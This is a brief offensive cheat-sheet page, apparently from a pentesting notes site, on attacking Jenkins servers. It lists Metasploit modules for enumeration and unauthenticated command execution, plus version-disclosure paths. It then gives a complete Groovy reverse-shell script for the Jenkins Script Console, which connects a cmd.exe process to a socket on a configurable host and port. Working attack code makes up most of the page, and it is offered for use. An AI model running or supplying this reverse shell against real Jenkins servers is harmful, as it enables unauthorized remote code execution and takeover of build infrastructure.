🕴️Jenkins

Enumeration

msf> use auxiliary/scanner/http/jenkins_enum

# execute commands without authentication ?
msf> use auxiliary/scanner/http/jenkins_command

# get jenkins version
/oops
/error

RCE from Script Console

From : https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76

revsh.groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Resources

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins serversGitHub

Jenkins SecurityHackTricks Cloud